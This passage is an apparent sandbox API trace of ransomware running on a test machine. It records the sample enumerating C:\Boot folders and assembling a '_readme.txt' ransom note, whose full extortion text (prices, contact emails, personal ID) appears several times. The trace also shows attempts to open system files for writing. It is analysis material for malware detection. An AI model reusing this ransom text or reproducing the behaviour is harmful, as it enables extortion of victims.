0x7a35e20 [0111.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.765] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.765] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.765] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.765] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.765] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.765] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.765] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.765] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0111.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.765] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.765] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.765] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.765] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.765] PathFindFileNameW (pszPath="") returned="" [0111.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.765] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.766] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.766] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.766] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.766] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.766] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.766] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14108 | out: hHeap=0x5010000) returned 1 [0111.766] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.766] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.766] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.766] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.766] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.766] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.766] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.766] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x81c) returned 0x7ac3918 [0111.766] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0111.766] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.766] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.766] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0111.766] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b162e0 [0111.766] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.766] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.766] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.766] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.767] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.767] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162e0 | out: hHeap=0x5010000) returned 1 [0111.767] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.767] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.767] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.767] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.767] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.767] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.767] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.767] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.767] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.767] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned=".mui" [0111.767] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.767] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.767] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.767] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.767] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.767] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36078 | out: hHeap=0x5010000) returned 1 [0111.767] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.767] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36078 [0111.767] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.767] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.767] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.767] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.767] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.768] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.768] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.768] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.768] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.768] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.768] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.768] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.768] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.768] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.768] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.768] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.768] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.768] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.768] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0111.768] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.768] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.768] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.768] PathFindFileNameW (pszPath="") returned="" [0111.768] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.768] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.768] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.769] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.769] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.769] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.769] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.769] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0111.769] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0111.769] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.769] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.769] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.769] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.769] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162e0 | out: hHeap=0x5010000) returned 1 [0111.769] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.769] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, 